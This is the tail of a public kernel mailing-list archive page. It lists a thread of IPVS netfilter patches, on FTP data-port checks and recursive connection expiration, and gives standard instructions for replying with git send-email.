2026-09-25 16:40 ` [PATCH nf v5 3/3] ipvs: reject FTP control ports as data ports Zihan Xi
2026-09-25 18:05 ` Julian Anastasov [this message]
2026-09-27 14:07 ` [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Julian Anastasov
2026-09-27 15:23   ` zihan xi

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=7b921113-ec18-baac-83eb-119178e28d93@ssi.bg \
    --to=ja@ssi.bg \
    --cc=fw@strlen.de \
    --cc=horms@verge.net.au \
    --cc=lvs-devel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=netfilter-devel@vger.kernel.org \
    --cc=pablo@netfilter.org \
    --cc=phil@nwl.cc \
    --cc=zihanx@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox